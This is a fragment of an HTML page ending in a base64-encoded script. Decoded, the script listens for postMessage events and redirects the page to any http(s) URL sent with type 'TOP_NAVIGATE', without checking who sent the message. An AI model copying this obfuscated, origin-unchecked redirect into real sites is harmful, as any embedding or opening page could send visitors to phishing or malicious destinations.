Yqo6YeN5a6a5ZCR55qE5oum5oiqCiAgKGZ1bmN0aW9uICgpIHsKICAgIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCdtZXNzYWdlJywgZnVuY3Rpb24gKGUpIHsKICAgICAgaWYgKCFlIHx8ICFlLmRhdGEpIHJldHVybjsKICAgICAgdmFyIGQgPSBlLmRhdGE7CiAgICAgIGlmICh0eXBlb2YgZCA9PT0gJ3N0cmluZycpIHsgdHJ5IHsgZCA9IEpTT04ucGFyc2UoZCk7IH0gY2F0Y2ggKF8pIHsgcmV0dXJuOyB9IH0KICAgICAgaWYgKGQgJiYgZC50eXBlID09PSAnVE9QX05BVklHQVRFJyAmJiBkLnVybCkgewogICAgICAgIHZhciB1cmwgPSBTdHJpbmcoZC51cmwpOwogICAgICAgIGlmICghL15odHRwcz86XC9cLy9pLnRlc3QodXJsKSkgcmV0dXJuOyAvLyDlj6rlhYHorrggaHR0cC9odHRwcwogICAgICAgIHRyeSB7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKHVybCk7IH0gY2F0Y2ggKGVycikgewogICAgICAgICAgdHJ5IHsgd2luZG93LmxvY2F0aW9uLmhyZWYgPSB1cmw7IH0gY2F0Y2ggKGVycjIpIHt9CiAgICAgICAgfQogICAgICB9CiAgICB9LCBmYWxzZSk7CiAgfSkoKTsKICA8L3NjcmlwdD4KCjwvYm9keT4KPC9odG1sPgo="))));
</script>
</body>
</html>